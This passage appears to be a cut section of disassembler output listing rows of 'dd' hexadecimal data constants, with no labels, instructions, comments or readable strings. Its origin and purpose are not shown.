67D13740h, 218A7613h, 5081D5B4h, 21CB5584h, 0F40B100h dd 59C64B64h, 0C07CABh, 0C9787261h, 9F2B5CC4h, 0B9125875h dd 30C18B86h, 0E5E38CFAh, 5970081Ah, 18257964h, 35902A6h dd 2346A0D4h, 0FDEA5863h, 0D80B8B01h, 3A4AAC38h, 1272320h dd 67D1699Dh, 0DF806FD4h, 128B081Bh, 5326A063h, 952890ECh dd 7203352Fh, 859E2A92h, 4FB990F7h, 0B70D0BE3h, 0C810886h dd 2CA594F8h, 0C4984DDCh, 7488880Eh, 37E2FE19h, 0C4D0E46Bh dd 1E2E00FCh, 9EACE3B6h, 66FA407Ch, 0DC261B8Ah, 7A42D82Ah dd 6BB501FBh, 11618180h, 5F37B182h, 8C022038h, 5DFD9E7Eh dd 8AD120D3h, 0EECDFDFCh, 9B18029Fh, 41C69465h, 6952F8E1h dd 0E447A1Ch, 88631AE3h, 0AC529037h, 80681245h, 0C8C6DBCh dd 34610154h, 2B007861h, 0DCF46BE5h, 14C2606h, 7705F7F8h dd 2D6F7337h, 0B86300F4h, 8C4EA9AFh, 0E7390B90h, 0A00E2914h dd 0BE0555A8h, 44A4C598h, 51532DB9h, 4F22EC24h, 6F5F852Ah dd 8BCC98D2h, 0E434450Ch, 0DCB7601Dh, 8ED50538h, 86296E3Ah dd 90021F0h, 0E499E8D7h, 15812F9Bh, 0C4F5B40Eh, 88503715h dd 95C1E000h, 4EED9211h, 0EBB9181Ch, 19C037C0h, 0B6AEE593h dd 139640DCh, 7B001A7Fh, 0CC5F8471h, 1EBA02EBh, 1D8D568Ch dd 0D3224005h, 35E00BC7h, 0BE2ED8A0h, 80184B3Ch, 0A11A6717h dd 0D3F2890Eh, 8880CE50h, 63A5C78Bh, 0C1C478C4h, 0F93CE37Ch dd 0C84C72B6h, 90D59719h, 3061EE0h, 0EC51C300h, 83FE10CDh dd 3E79EBh, 0FFC01D56h, 1C898CD3h, 16047092h, 0DAE050CCh dd 231DB0C2h, 51009DD4h, 0E1244C76h, 5C8CC4DAh, 0D32AAC7Ah dd 0D11C91E8h, 7E701824h, 0F8BF0466h, 818CF5BCh, 621037F8h dd 0EB1F2484h, 0E877D501h, 0DC326BC7h, 4D8CF806h, 0C08130F4h dd 99198C66h, 0BF611Ah, 0C381415Fh, 34DCAA2Eh, 4E302307h dd 62FEF071h, 847A7372h, 7E40029Ch, 0CC942B44h, 0B0B6FCF4h dd 0A47F8143h, 0E32A6C8Ah, 2D846E8h, 167A4A28h, 60D47135h dd 524A105Eh, 4018F832h, 0C5DCE1BFh, 4AC486D0h, 102044EBh dd 0A430417Fh, 7442974Dh, 0E6C6206Eh, 4F50D81Fh, 0F7881458h dd 0E9CA148Dh, 5A2198BDh, 82319C04h, 0C03B501h, 10DC2934h dd 0D848FC8Dh, 3C918022h, 44984420h, 4C8D852Ch, 993D5C2h dd 8E1D08Ch, 3D48EC12h, 0C703544Fh, 0DA55C0C4h, 0E1949845h dd 72D5420h, 0E050C0B0h, 4987248h, 0C88B38B8h, 17FBD811h dd 4CD881Eh, 0C21FE9B0h, 482CAA24h, 0B6982837h, 3644A90h dd 0FD821F24h, 0EF83C4F3h, 268A803Bh, 0A008B425h, 4034299Bh dd 7EFBFAC2h, 568F8E13h, 8623F83Eh, 0FB1A2407h, 0E2DC9080h dd 0F43D28BCh, 940206ECh, 0D00839FDh, 378B49Bh, 0EFC8049Bh dd 0E43EF8F4h, 5D2E9948h, 4676D0D2h, 948A018Ch, 13885128h dd 0C2436D1h, 68E0F959h, 4F70960Fh, 8D092A60h, 0A41820CDh dd 8428BCEDh, 0D4F20549h, 4075371Ch, 22029DA8h, 9AA062BAh dd 0B4011EFEh, 0A45829E7h, 1C208EC5h, 0A1080165h, 346A13E9h dd 99689417h, 9E4680F8h, 488075C7h, 922046Bh, 102DDF02h dd 8FEB4CC4h, 965985ECh, 0B8A5B406h, 0AB0C0658h, 6073D968h dd 9DE4B117h, 29B8FC21h, 0E89CD182h, 0AC408532h, 0D15C2AC1h dd 11447A34h, 4F3F1405h, 33F12012h, 0A42C19C4h, 128C3EBCh dd 47360A6h, 0F95E9A8h, 0A8D1D237h, 0F9801998h, 32EC7972h dd 730030F7h, 0E2FCA931h, 7526CB86h, 0D48415AEh, 7D00EC94h dd 52B7DE3Eh, 4500BCF7h, 24D7F83h, 4864CCF6h, 0DE001C25h dd 802FD08Bh, 0DCB2DF99h, 3E19461Dh, 0F6824830h, 4970E8AAh dd 0D50B902Bh, 0CC17B20h, 5CB2046Eh, 2E308CF2h, 791924EDh dd 0D980938h, 936C3898h, 0B889802Eh, 64FE9442h, 0D6B00018h dd 54E7599Dh, 0E4D6024h, 36B41038h, 26B2884Ch, 68780229h dd 96C80008h, 0D5991CCh, 0F4829F7Ch, 4D934D8h, 0DA8B4435h dd 7C0E14A3h, 37ADC490h, 520C7728h, 3086E2BCh, 0CC00900Bh dd 0FA1ABE70h, 0B18715A4h, 8C824968h, 400A8555h, 5CC85A12h dd 0D2048C73h, 0DDF879C3h, 22206B62h, 7946C3DAh, 0B6D00529h dd 0E4AA65B0h, 674CF984h, 9CA7263Eh, 0FCDDF601h, 4006E2A4h dd 9AD85893h, 58695CA2h, 225E0E39h, 0D881890Ch, 87C5DE9h dd 0A49D8ABAh, 46802511h, 774BB2A6h, 0D76FA81Ch, 54BFB904h dd 44C10A9h, 0C7B0914Ah, 0BC32107Ah, 0B0FF54C1h, 1CA41063h dd 9A0801DAh, 482BE12Ch, 60C65C28h, 0C10E7933h, 602B15B5h dd 0D235B3CFh, 20B757Fh, 0B6624480h, 0B0C11A77h, 124C2DE3h dd 1C09B708h, 0F10C59E9h, 780A1887h, 50EC044Eh, 9728C49Eh dd 25A05348h, 62E888D9h, 0D84D2AB8h, 461CB697h, 0F8910012h dd 0DB9BE281h, 0F9FEF919h, 0C0E91FFCh, 0C65E4BC7h, 0F50F02A0h dd 54E12B90h, 7D0912E0h, 363CA404h, 20DD300h, 0A8A20E8Ch dd 204424F1h, 0F313B022h, 1982ECh, 6983A180h, 9522E0A4h dd 93B110E8h, 41361651h, 72DBB490h, 0E8290447h, 842B1BB1h dd 0C014AC94h, 93BB8877h, 8CAA0EF5h, 0BFE018D4h, 37D80E29h dd 0B92A1104h, 54B454EFh, 30C08A36h, 0DF4922CDh, 259886CCh dd 0F28E0E59h, 7F07130Eh, 46A02E51h, 9E2970E3h, 4C754302h dd 612B936Eh, 8811E96Ch, 552AC4h, 0AF088408h, 5EB9B0C3h dd 0C4E00B11h, 0D8CEE492h, 0BF2CCFE8h, 9800D5D1h, 8625DEE3h dd 0DA851AF7h, 0FC5E5888h, 4ECE083h, 0BE711316h, 1EE04007h dd 0B2775396h, 8982F107h dd 47C958CBh, 6087446Ch, 0ECC6E68h, 0FD95C5DFh, 0B78AF014h dd 0C6940124h, 0CEC2AA7Fh, 8AD98859h, 0AD09AA18h, 406D9C58h dd 0F06BB140h, 1DA49C36h, 2C7E6280h, 16B878B1h, 0B4824F89h dd 8AEC60BEh, 30E0B0C1h, 9F911F37h, 0D526C4F8h, 0C089C492h dd 92475878h, 0FC0B1110h, 23544928h, 0A246012Fh, 0EACB5DFh dd 0A24D4E00h, 55B40197h, 0C846B32Ch, 0CC39740Ah, 5A776342h dd 803C4B34h, 65D382E0h, 7F5C4000h, 9D8C58A9h, 1BF9C2FFh dd 210B5AFBh, 24F40BD8h, 3F8D5041h, 4877E5F0h, 81121C41h dd 12E09296h, 0A2795C90h, 44B5D217h, 430118CBh, 2A4AA240h dd 7117D990h, 1194021Ch, 0ACB4C058h, 0F250477Ch, 96BF1750h dd 3C88A4AEh, 4CA70D46h, 3088FE8Ah, 884065B8h, 0C4E0137Ch dd 825C4078h, 50FBB0E4h, 0EC1B8A0Dh, 98C3D81Eh, 9FF803B1h dd 0AFA1400h, 0CAE891B5h, 22167C0Ch, 217420D9h, 2A80C12Eh dd 12E1CF88h, 9E1406F4h, 683F08CCh, 5B24B9E8h, 6DA5B840h dd 0DCF6E070h, 8B1D652Bh, 7D7BD219h, 8FDC3754h, 3875BF18h dd 1C520E8h, 6892BEFCh, 20F8E4D3h, 7A809524h, 61789C94h dd 47527B1h, 0ABBFBC87h, 4428E722h, 0E7676012h, 0AFC148B7h dd 1F73D700h, 11A743B0h, 6EF2AC98h, 0BF2AE712h, 0B072580Bh dd 11C3D368h, 88E5F87Ah, 0DB23816Ch, 70578DC3h, 9D17E4h dd 0D8112684h, 176C982Eh, 44464544h, 0C8994C94h, 2B0022D8h dd 0A7D61F23h, 9C80BCh, 14208959h, 946CB20Bh, 3E84F400h dd 0FB7967D3h, 9F2B0B78h, 48698C60h, 2E69E154h, 0B823D43Bh dd 80CBBA39h, 7ED706Dh, 164D9229h, 9DA8212h, 0D4AAE8E0h dd 509B0870h, 5CF49E03h, 0BE0FE43Eh, 3B93404Fh, 28D23A0h dd 0E94160CBh, 80597C62h, 0C582E681h, 24690A61h, 103B826h dd 382A8736h, 43486076h, 10BE652Fh, 1E9A9EE0h, 185135h dd 6A152F2h, 0E50063C9h, 0F905CE80h, 16FABEDBh, 0A2247B41h dd 62823E00h, 213F90F0h, 37A8BA1h, 0D6900BBFh, 0E82A866Eh dd 0E9BC62BCh, 50E488F0h, 749B694Ah, 686A8E80h, 9C124D63h dd 7412DC2Ah, 7853B857h, 6FE07CA6h, 0BA61D4B6h, 2D12AAC0h dd 383547Ch, 0D19838CBh, 5F0E0115h, 847471h, 54B7A114h dd 0E474BC80h, 98145655h, 0FBB9C7D0h, 0F5E20BD8h, 1A203CE4h dd 46F09091h, 0A243022Ch, 31B4B5DCh, 4A49103Ah, 0E12D03A2h dd 297612C9h, 5590C194h, 82E01FEh, 0EF819120h, 5222BC72h dd 131CC0Ah, 0E2045407h, 0D0C80D86h, 0FC7B443Bh, 79E83218h dd 807E6BC1h, 0B4A19124h, 867184Ch, 408026D0h, 67FD670h dd 940530D0h, 0D92CA817h, 0F7418892h, 94797B1Fh, 0ECB955BCh dd 0BC93F680h, 68C5CCh, 0E304D565h, 66CBC6FAh, 4B19B700h dd 0E9A2A8D4h, 74ACF22Eh, 82640C2Dh, 0ED82274h, 8C978B29h dd 7C70FC14h, 0DC0B2FE7h, 9120972Bh, 0CBD58021h, 120B98h dd 9EB220C2h, 7ECE941Ch, 500A0213h, 3E2EF4E1h, 7ADE11FCh dd 7A42DEF8h, 88988EE4h, 804DC082h, 19003F94h, 87C2A99Bh dd 4F817693h, 6488D008h, 0B5178991h, 80497863h, 40404898h dd 0D85B0718h, 25B881F6h, 1F00C099h, 1102F782h, 1A347E89h dd 11B0F92Eh, 0C3D1807Ch, 8CD5F878h, 216A44h, 4BD4C3D9h dd 0C7B2DAA9h, 28531A26h, 0D026CC0Fh, 0E31088D4h, 6B361364h dd 506328F1h, 7EDC2E01h, 0F82D75ABh, 0D52DE8A8h, 0E0AC905Eh dd 213A8111h, 10647074h, 3718897Eh, 0C669301Ah, 0F7480178h dd 9E246046h, 183A2B61h, 31003F23h, 0C7AE24CAh, 0E3C4F492h dd 1D609034h, 40862F1Eh, 0D1A75F9Ah, 24902747h, 0B7087F09h dd 0C40847D0h, 5C217F5Ch, 7988597Ah, 76181Ch, 665051A8h dd 38656FFAh, 7303A5Dh, 0F4F1F20Dh, 60900F05h, 97516FB9h dd 876589Ah, 70134656h, 0ADEAFE01h, 6A332BE7h, 46EE60E5h dd 0AB352474h, 2C500B00h, 820EDC70h, 16FC17C6h, 460AC46h dd 5DD45A31h, 0A41380BCh, 0B057C1E9h, 82400F00h, 0D3540636h dd 9BD94C4Eh, 0C1A4231Ch, 9A525BABh, 0FC61F646h, 87B070BBh dd 0C7C5A00h, 0EA634266h, 0C4210AEDh, 0A03C1638h, 0DC0B2FE8h dd 0E328C001h, 0A8FC3018h, 410C8E9Fh, 2E786BC7h, 24786069h dd 8B149C0Bh, 742271E2h, 0F7000DE1h, 268FF9B0h, 18A0094Ah dd 8E57190Bh, 70C0BB4Fh, 1DB194Dh, 7EE56884h, 62797B9Eh dd 1B6B1738h, 0AAFD9841h, 8FF1E17Dh, 0C1BB8824h, 94F8C081h dd 3DD07840h, 1CAFCEh, 0BBE13E44h, 6D690274h, 1DC6BC4h dd 0A22784F2h, 8610209Ah, 7C208859h, 9D2931BFh, 0C0B77718h dd 0DD051737h, 8AD9C486h, 5E835088h, 0B6B04233h, 88A00903h dd 4D14E312h, 0D08E18C5h, 8048DA10h, 0BCA4E120h, 8C5240FEh dd 0D0980343h, 85F5B9h, 3D68E135h, 0C75389DDh, 9CFAC520h dd 79B18820h, 157C967Dh, 0D14E54E0h, 3CA4A17Ch, 62DC1330h dd 2261684Fh, 54639340h, 959C841Ch, 1BCF0284h, 13C05CC0h dd 9CB83761h, 3298B09h, 0CC893405h, 26302EF1h, 9D710BBEh dd 54D4D498h, 0B4208EF2h, 92421B2h, 48A950CCh, 0BE000863h dd 0D1DF52F5h, 121E047Dh, 69F6E408h, 8C508CC1h, 6473588Ch dd 0C3583850h, 0A4EC2491h, 160CA946h, 0C896EDACh, 45BC4E10h dd 0D067B934h, 0F4C40890h, 0C95C1150h, 4F401D65h, 8E6470C7h dd 4C242803h, 0AC08994Eh, 386E8192h, 49FBB5F5h, 0AC106C5Ch dd 0FB1C8C65h, 908EA3D7h, 392E442Ah, 0F9FC30C2h, 80CF00ECh dd 0BBF49111h, 357421E4h, 389BFD2Eh, 0A8EE1908h, 0A9DC62E4h dd 44D4D989h, 12E1D108h, 0CCE80D0Dh, 0F2E07221h, 899E3025h dd 320B8117h, 0E8942090h, 88F8BC90h, 98092D40h, 441CA9EAh dd 0D479006Ch, 766FAC70h, 0D702C86Dh, 37E801B0h, 80A09311h dd 0F813D3h, 0FFCA881Fh, 17CC3A78h, 348E42Fh, 0BD37C98Ch dd 1428BBC1h, 6100A42Dh, 0FA9CC88Ah, 66032F70h, 0DB8C8F5Ch dd 2534E7BFh, 72C084F8h, 6458C694h, 0A0927FF2h, 8DB31F03h dd 0B969853h, 5B892051h, 3508D840h, 0DC1830E2h, 7E21B5E0h dd 862506C4h, 0C1188D8Ah, 49329B0Eh, 3071DFC0h, 20F2994Ah dd 94338DDCh, 5405F54Fh, 9C52848Ah, 0F4B55006h, 7EF84318h dd 4AA1E000h, 6C8E1E2Fh, 5E10B626h, 3A058C46h, 4FCFAC5h dd 522318D0h, 0E2BBD8B4h, 31C8F7C8h, 4BAC0BE5h, 800ED67Bh dd 5F02710Fh, 58607514h, 0C490BCA3h, 0E0BD2C00h, 8C51B153h dd 0CC7C58E8h, 42829F1Fh, 0EBC7F561h, 8CF8E890h, 0A4F34924h dd 9F5C25B9h, 801391F4h, 76793782h, 0B93B028Fh, 9A66CE95h dd 673C54DAh, 577E007Dh, 2D8DF57Ch, 29B20074h, 9A97FCCBh dd 4503CF50h, 619B1E0Ch, 6CA80064h, 0D119D982h, 3FC4D71h dd 88209898h, 21604511h, 69A6D706h, 15BD1017h, 38F244A2h dd 0D860AB31h, 300F4044h, 89F9BC13h, 1D0AC81h, 76F8CAD9h dd 4CA99D80h, 1C45F0A4h, 0D308C82Eh, 9570B95Bh, 25A0B9h dd 2A18CC82h, 10C41544h, 4C8B8D94h, 6BFA102Ch, 785A8604h dd 0C8E4AD47h, 2067146Eh, 185E55E1h, 894C9E98h, 600DBA7h dd 0CD19834Ch, 6BDE9B00h, 0FB6599E7h, 4B9602D2h, 58A2C8BDh dd 88A8C480h, 0B0C2349Dh, 4083E37h, 6C4BD7Dh, 31EE052Fh dd 4615311h, 2A749F0h, 0AB5CF400h, 0FF56EE18h, 2EEF0238h dd 2DECF3B4h, 119F0C80h, 0BE0229EDh, 0FF10F4F2h, 3AB0702h dd 0DC058EAh, 0F2F829E1h, 0EF82EF8h, 0BA52E807h, 0ADC0F541h dd 7457ED1Ch, 53FB00AFh dd 58E00EFFh, 53041B7h, 57F72854h, 0EE1500B3h, 0F617B65Fh dd 1667B1ECh, 6BEEA040h, 0EF648078h, 3F08FF2Bh, 7B0059EEh dd 41920A0Ch, 0F051EC29h, 8FF9F904h, 80FAF280h, 70DB2D51h dd 29220CE8h, 0B679B557h, 71CFF278h, 18AC8DF5h, 5CE115D3h dd 0ED0708A6h, 0C003AF55h, 201DA12Dh, 806038A3h, 0F3BA7E88h dd 0B45510FAh, 41E30017h, 74895334h, 2E8C1CAh, 835575E2h dd 5CFF0138h, 224028F5h, 1AB000A0h, 414B79CEh, 0FB00EC3Ch dd 4F31031Dh, 3323EEF3h, 44E13756h, 80BCE9A1h, 16A17C78h dd 434A77EAh, 128202Dh, 0DB644D4h, 0AFF76C0h, 55F13C00h dd 78E436ABh, 1F4B1CF9h, 3E56E011h, 0BCA0D642h, 83D4230h dd 2408541Bh, 0C243058Ch, 838BD85h, 1324E0ACh, 8C048054h dd 0DA34EC25h, 80AC18E1h, 94E41F2Dh, 0B6BEB622h, 4848B148h dd 6BC710E1h, 915C4A22h, 4843144h, 0F7FD1CC1h, 58211103h dd 4CA02C02h, 0C46BF360h, 0CAEC03A1h, 9344A4E1h, 85F4A866h dd 7CBD222Eh, 9D2CE728h, 0F060B82Ch, 287DA420h, 97CC486h dd 1E740BC7h, 46886C49h, 0B7425868h, 6062385Dh, 12B5C47h dd 7DA451DCh, 0D9273217h, 6243949Ch, 43D63688h, 0C217840Eh dd 0C4EB216Ah, 0C462AEEh, 172A2010h, 6820AB98h, 97578381h dd 90B9AC90h, 94F84082h, 890E883Ah, 58218F4Fh, 88003914h dd 3494D8C2h, 14BD3612h, 0B5A4F405h, 423891E8h, 5028834Dh dd 0D01865A2h, 973C58ECh, 6ECFECA2h, 8B107919h, 26409003h dd 714A00E2h, 89806208h, 0E4891F16h, 40C32451h, 1B15CC7Ch dd 277898D3h, 6CC0FD9Ch, 2D1DD183h, 0FC8A0382h, 28BCB09Fh dd 100240A1h, 918BD1A2h, 8C0446F8h, 22614244h, 17DCA50Eh dd 306CE51Ah, 0F5452178h, 0EC58802Ch, 415A9E8Eh, 91930486h dd 640E18C8h, 190632ABh, 8A160C9Bh, 62811C84h, 10484CA1h dd 5073628Fh, 9340C95Ch, 5DDC0C83h, 0A3404CE3h, 0A502D8Ch dd 9CA11CC4h, 0CC1E3B74h, 78D80D12h, 69292CCDh, 6025D49Ch dd 2C340708h, 0E8352550h, 2410A028h, 4CD11888h, 0A3BEE01Bh dd 367D14B8h, 1038C94h, 3C88C2E8h, 863EDF48h, 0D8282D37h dd 19FD8F10h, 0C3388650h, 73218937h, 0AAB024FAh, 3E8D030Ch dd 181B7961h, 0CD390298h, 788DBCE4h, 0F0819DDEh, 86BCC44Ah dd 981D3739h, 29760051h, 514395E4h, 4AE0B0F4h, 0F5BD7D00h dd 7B91E941h, 1B341A49h, 0BFC19168h, 0B4223A9Bh, 98044FCh dd 0AA892497h, 0E02ED406h, 2979C400h, 5D9CC7D1h, 0CED5FC4Ah dd 5824019h, 1C5C88E8h, 7C07E110h, 0C0CD6094h, 0CC8A2926h dd 7AF0845Ch, 0F775FB03h, 8578B5h, 2ED26309h, 335B913h dd 0EA18905h, 4C709788h, 759F0D57h, 0A4FBFA29h, 12CA44E0h dd 0BA48D963h, 40F0F689h, 0CA884952h, 848CBE0Bh, 6ECF89h dd 0FB03691Dh, 87FC1495h, 5602E8C7h, 736D478Eh, 3D08E098h dd 3C34353Ah, 183C30E9h, 6790A480h, 81692151h, 847B3624h dd 6594BE71h, 407B40A1h, 86786434h, 0D118E815h, 0E971AA98h dd 8E65F8Ch, 1880EFE4h, 0AD1AC6C0h, 9D0812B1h, 0E880C99Fh dd 6300C88Ah, 90D0134Ah, 68896B42h, 584093h, 34407B49h dd 90A89C1Ah, 10C85B7Ah, 10A8A4h, 0E6AD0873h, 3A795A8Bh dd 6037CC11h, 789DB09h, 24DE98C1h, 79546474h, 100040BCh dd 32DF13E7h, 0CF80AA52h, 51007379h, 4AE0C1F2h, 3F7A810Ch dd 7992B046h, 0B888245Ah, 328112Ch, 65DFA209h, 9BE9A078h dd 33CE077Fh, 16606F5Eh, 9000D132h, 0C323A2E2h, 26A3BACFh dd 11F0C10Bh, 1C4A240Dh, 593DB4B9h, 0C5D8885Eh, 5A2BF11h dd 0D9F8B0F7h, 5888C215h, 0A91DD498h, 2882A890h, 0D9F660B1h dd 6421A419h, 82E35409h, 83BCF484h, 8A98B50Ch, 59D0A92Ah dd 21088534h, 72A9C031h, 0FCF8BBD6h, 8C2A2C26h, 3D161423h dd 3030380Ah, 4F4A9408h, 0A029C48Bh, 0DB00F864h, 8201CC8Bh dd 1FA9752h, 0B36730F3h, 2F764E43h, 93888h, 587FEF0Eh dd 864A5EF5h, 70113709h, 0D304247Dh, 282F68C4h, 0F70E3908h dd 0D82F0574h, 4AAE073h, 0AC30C32Ch, 3DD5820Ch, 368C111h dd 0ECA41510h, 0E43B5201h, 7501A2DFh, 867A1C22h, 4565D202h dd 0E8354B2Bh, 0A4B48188h, 207C2E98h, 44A945F0h, 210F800Ch dd 408B231h, 60991940h, 2E01890Fh, 0D80057B8h, 304CFA07h dd 98D18C3h, 0E195D019h, 0C28904E8h, 0F7296C00h, 49E0C08Bh dd 3CA05D10h, 0AAC81878h, 37D92820h, 0B4401F5Ah, 79D36FE1h dd 8D3900FAh, 0A5BFF632h, 0DF8E0E3h, 46C8B409h, 73BCFAD4h dd 4E293A8Fh, 8DD28880h, 0B41C5D36h, 87E0BE0Bh, 62696274h dd 8C60DE08h, 0B7A10199h, 0EAB62B01h, 62AF5810h, 2AC1A880h dd 0E2271C80h, 57036100h, 1FDDBA39h, 0A0D0B698h, 0BE70B4B8h dd 0D5D9BE0Bh, 481E58DAh, 0F39F633Eh, 0F8F6B241h, 6834A698h dd 84FA00EFh, 805FC4C8h, 0F7001A8Bh, 32F4BAD5h, 0A63575h dd 5A284826h, 703FF325h, 16504B1Dh, 0F529803Eh, 9C76ACBDh dd 3D850C8Ch, 0F08C494h, 553021C1h, 0A32084ADh, 287B0EB7h dd 54CFEFE4h, 68B37803h, 0F24BF0EFh, 310E2B70h, 0A10FDD96h dd 0CDA187AFh, 7D5E30h, 0B8E8D5BBh, 3F70153Dh, 50DCBC00h dd 0FD9828ACh, 0A953009Ah, 4EE4A887h, 1507ED48h, 28D4088Ch dd 19B0B450h, 8820A746h, 58C1E0BDh, 0F884A3BBh, 22FDC350h dd 0AD4A3074h, 549C6B08h, 40E0649Ah, 45AD4257h, 0ACF01804h dd 0BA6BD81Eh, 74713088h, 152900C5h, 1345116Fh, 523EDCFBh dd 0B440E870h, 3A094674h, 11D20067h, 44E5CDB1h, 0F1130314h dd 6F5801D7h, 80813FF2h, 81F051A6h, 0C2606C39h, 4FD811D9h dd 9ACA0344h, 73BD63A1h, 50152007h, 0F9E0F34Ch, 0E2F19C4Ah dd 7008DF7Ah, 0F377B221h, 467B8806h, 0F7591951h, 3688130h dd 237D373Bh, 28B3AC43h, 0CA74E875h, 0C8A1E1F8h, 17A3F36Fh dd 42C93802h, 8745B9CDh, 9A776B50h, 0EC910D90h, 7CB02815h dd 439CCDCh, 42FADBD1h, 1134DE30h, 1334F89h, 6421B174h dd 9831AABAh, 7321D808h, 68330147h, 5BBB5508h, 0F21CCA9h dd 0C0B05029h, 49807791h, 0AC9C62ADh, 41540087h, 484760ADh dd 1000187Dh, 0FE1958C3h, 0CEC6DE1Fh, 0DFA01D79h, 7A10C4FBh dd 0D86F702h, 8FE634C0h, 1A6B018Ch, 0AC40BBFAh, 0A8EC70h dd 4576CCB1h, 55576388h, 64D0F250h, 0F375048Ch, 6242F94Eh dd 7CB32009h, 0E700A1F3h, 324FEEA0h, 3B6A946h, 3F87178Ch dd 71008A19h, 0EAA0C91Ch, 16A7E53h, 67C6B3C1h, 0E40B01BBh dd 45078C23h, 0A347496Fh, 7D80A655h, 0C4483FDh, 6D182228h dd 60008649h, 0CF3EBFD6h, 662684D1h, 21B00877h, 0D6676100h dd 906EFC73h, 0DDCB04FAh, 54A675AAh, 0A41579C0h, 7C9C9C3Eh dd 0B1DE1302h, 97449ECBh, 81B51138h, 0BE2AF323h, 0C330DFE0h dd 98713359h, 0F0E06D9Ah, 0FD014283h, 0A064C6B2h, 0DEC0B885h dd 3C3828A4h, 480CA144h, 0AC08BE18h, 0C4B49C6Fh, 5633400Eh dd 90BF6CADh, 3E3200F3h, 0B1B4D7F5h, 2460D984h, 0E8730E59h dd 56D00059h, 2946A258h, 0F01C8D21h, 0D1414F0Ah, 0DADF755Ch dd 439B4440h, 4DC800EEh, 0B82449A8h, 0D03F98C1h, 0A9E982A2h dd 61E67B4Bh, 0FD0CBB34h, 27313474h, 1E524923h, 0B39F5180h dd 0D4166A37h, 0B83A7F00h, 684546EFh, 4A5C012Ah, 0DED7F0F2h dd 1531806Dh, 0BC48A935h, 8761DE86h, 2159C7FFh, 0F49E660Ah dd 0F3E8D985h, 0CCEE49h dd 715507B9h, 0F89CF1A0h, 18336116h, 246DB3EDh, 0BF7E1768h dd 1D6E93Bh, 91345446h, 5860E026h, 0ACD00981h, 0F804E6FBh dd 334A6057h, 29B12349h, 68003511h, 34953322h, 0E3009D81h dd 83F6B658h, 0FADDCAAh, 0F3D357C2h, 2AFF8583h, 7958D070h dd 0C8EA224h, 1B300180h, 59C2884h, 0EC2C4C27h, 9EB43200h dd 0AA28A212h, 6075C316h, 83E26828h, 0F9203885h, 0C483F46h dd 2CC8F50h, 5792011Dh, 6C48A419h, 0D5E4EB39h, 0D9F2E00h dd 9E8EE932h, 0D1909130h, 1B3188Eh, 512D4742h, 75268h dd 0A0B79629h, 75E5A0h, 8BA95E58h, 9C50144Ch, 123C9A3Dh dd 83092579h, 3E01278h, 0CCDF04h, 6F47C911h, 1ED105A7h dd 0D7B37400h, 0B8BC2564h, 0FDC4B263h, 87A8B340h, 9E3B0624h dd 40D9A6F8h, 843D2528h, 9C54640Eh, 28C34DEDh, 3A840832h dd 1C9493Eh, 0CAEA9D4h, 34E080C2h, 3940FA19h, 0B1801FAAh dd 0FFE71C27h, 3E02A605h, 0F34217C5h, 3B74C03Dh, 1D270191h dd 6D40BCA1h, 31BC3054h, 13D9F800h, 9E325CF9h, 5B44A1F5h dd 0BB475183h, 31384D70h, 0A0AC8C33h, 149CA078h, 0F4D8F795h dd 0E0243E3Eh, 18F420B5h, 18278B05h, 103BBEFBh, 46007C86h dd 6471C998h, 290EA91Fh, 0C947B50h, 0A8308D0Ch, 11209948h dd 0BC08D98Fh, 18319A11h, 0DE012D67h, 9E8C481Ah, 9D045498h dd 0BC6DB616h, 81AE9887h, 41ACF1A3h, 0AED0D713h, 421F30BBh dd 0B02AED38h, 0B8CD944h, 0B0B96C2Fh, 1A967890h, 805748CFh dd 5BE17D25h, 0AD9C0EE7h, 98722F9h, 15318091h, 5CECACF3h dd 0FE50E0B0h, 5233A9C8h, 0D84008BCh, 2632A369h, 9501B15h dd 94028586h, 8CC807BCh, 0CD519B98h, 1E0930BCh, 0D1A91D06h dd 0F8B5C1h, 56A49EBCh, 0CEFF98AAh, 42CD29C8h, 9A24A176h dd 12C60F21h, 578B27C9h, 0E6EE1032h, 0B1006A9Bh, 9FF50198h dd 21DDB4h, 96A7C2EDh, 17BF5D56h, 78435F00h, 0E048A4A5h dd 1D8E0046h, 654AEE4Bh, 0E3A03F10h, 80E50D36h, 2C49B53Ah dd 3D40C0F3h, 4A000929h, 644D28AAh, 2300E6E4h, 0E26B2C33h dd 0DD3127Fh, 90D0B2A3h, 46DFDC30h, 32AA5700h, 1F92C842h dd 3FEF095h, 0A762F2A3h, 1D88C0BFh, 7000C9F1h, 403A0AAFh dd 3345AC5h, 0C7EE69F9h, 0E7D07FA8h, 35005165h, 0E5ACD8FAh dd 9D2AB4h, 0B7247EC8h, 15B0F5E6h, 25DFE717h, 9D0F0385h dd 0A480D265h, 2072F3h, 0AB08547Fh, 514BB538h, 0E6993Dh dd 1C530A45h, 3644AFh, 277D81EAh, 99B68B7Ah, 3B30430Eh dd 53A5C3FDh, 7E03F055h, 82A000A4h, 4AFEA113h, 0DF3801D8h dd 2D5580E7h, 3FA92696h, 0D9C30098h, 30C42F9Dh, 9700F7CFh dd 6D684A9Ch, 9BFF88h, 93B4B8A2h, 0C3F56B1Fh, 257BD5E4h dd 0F5B6900h, 39477107h, 780400B8h, 2AEF33CEh, 0C802F880h dd 0CA69D362h, 524CC828h, 7A397B17h, 0D8E05401h, 586800C8h dd 6D8B03EBh, 1D04D3C1h, 6CE8AB2Dh, 12FB6CC0h, 0E3C0300Bh dd 5413E931h, 0CD2EC03h, 0BB78CF1Ch, 0BA21D88Bh, 0D8833005h dd 0B98AA629h, 1C131B00h, 0C1AFBE8Fh, 8F82585Eh, 391EB63Ch dd 863CC07Eh, 0D968AA5Ah, 5D239607h, 0B0F0A2F9h, 4AE704h dd 0A79B1E27h, 27207F8h, 0FB00C976h, 55AA48BAh, 321EFE9h dd 3DBDE584h, 1807A585h, 16D7F45Bh, 4CE488CCh, 6D01EDC8h dd 69E18EDBh, 7418048h, 0D4A5B198h, 0B49D00DCh, 1CE88187h dd 0D3022F76h, 8CF4158Bh, 0CEE4C816h, 268D016Bh, 0E7B28295h dd 0DA8050FCh, 900043B0h, 0E3BE962Eh, 6C198Bh, 12499A30h dd 7D70C3DBh, 0A8ECB7B0h, 439C2E00h, 0CD059F3Ah, 0F25400AEh dd 690653C3h, 420E04A6h, 400F5F3Dh, 0B5DDB7D2h, 0F62E0C32h dd 0D660289Bh, 4C1C0D00h, 552ABD25h, 2EFEB895h, 1F6FC188h dd 0F14E409h, 9928A4Ch, 63803E30h, 0B7C985Bh, 16658B00h dd 794383A3h, 935D0071h, 0C4FC4DBh, 0B850C955h, 34780F8Ch dd 74215700h, 0CF8EBD06h, 45FB003Dh, 